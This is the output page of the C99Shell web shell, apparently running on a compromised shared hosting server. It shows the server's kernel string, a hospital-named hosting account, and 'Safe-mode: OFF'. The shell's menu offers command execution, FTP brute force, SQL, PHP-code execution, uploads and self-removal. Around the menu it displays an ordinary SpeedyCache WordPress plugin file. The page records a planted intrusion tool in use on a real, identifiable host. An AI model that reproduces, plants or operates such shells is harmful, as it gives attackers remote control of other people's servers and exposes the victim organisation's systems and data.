!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/var/softaculous/sitepad/editor/site-data/plugins/speedycache-pro/main/   drwxr-xr-x
Free 289.25 GB of 429.69 GB (67.32%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     prooptimizations.php (2.12 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace SpeedyCache;

if(!
defined('ABSPATH')){
    die(
'HACKING ATTEMPT');
}

class 
ProOptimizations{
    static 
$content '';

    
// function init(&$content){
        // self::$content = $content;
    // }
    
    
static function defer_js(&$content){
        global 
$speedycache;

        \
SpeedyCache\Enhanced::init();
        
$content = \SpeedyCache\Enhanced::render_blocking($content);
    }
    
    static function 
delay_js(&$content){
        global 
$speedycache;

        \
SpeedyCache\Enhanced::init();
        if(empty(
$speedycache->enhanced)){
            
$speedycache->enhanced['html'] = $content;
        }

        
$content = \SpeedyCache\Enhanced::delay_js($content);
    }
    
    static function 
unused_css(){
        
$url esc_url(speedycache_optserver('HTTP_HOST'). speedycache_optserver('REQUEST_URI'));

        if(
strpos($url'?test_speedycache') !== FALSE){
            \
SpeedyCache\UnusedCss::generate(array($url));
        } else {
            \
SpeedyCache\UnusedCss::schedule('speedycache_unused_css', array($url));
        }
    }
    
    static function 
critical_css(){
        
$url esc_url(speedycache_optserver('HTTP_HOST'). speedycache_optserver('REQUEST_URI'));

        if(
strpos($url'?test_speedycache') !== FALSE){
            \
SpeedyCache\CriticalCss::generate(array($url));
        } else {
            \
SpeedyCache\CriticalCss::schedule('speedycache_generate_ccss', array($url));
        }
    }
    
    static function 
img_lazy_load(&$content){

        
// to disable for Ajax Load More on the pages
        
if(speedycache_is_plugin_active('ajax-load-more/ajax-load-more.php') && !empty($_SERVER['REQUEST_URI']) && preg_match("/\/page\/\d+\//"sanitize_url(wp_unslash($_SERVER['REQUEST_URI'])))){
            return;
        }

        
$content = \SpeedyCache\Enhanced::lazy_load($content);
        
$lazy_load_js '';
        
        if(
file_exists(SPEEDYCACHE_PRO_DIR '/main/lazyload.php')){
            
$lazy_load_js = \SpeedyCache\LazyLoad::get_js_source();
        }

        
$content preg_replace("/\s*<\/head\s*>/i"$lazy_load_js.'</head>'$content1);
    }
    
    static function 
remove_gfonts(&$content){
        global 
$speedycache;

        if(!empty(
$speedycache->bloat['remove_gfonts'])){
            
$content preg_replace('/<link[^<>]*\/\/fonts\.(googleapis|google|gstatic)\.com[^<>]*>/i'''$content);
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0037 ]--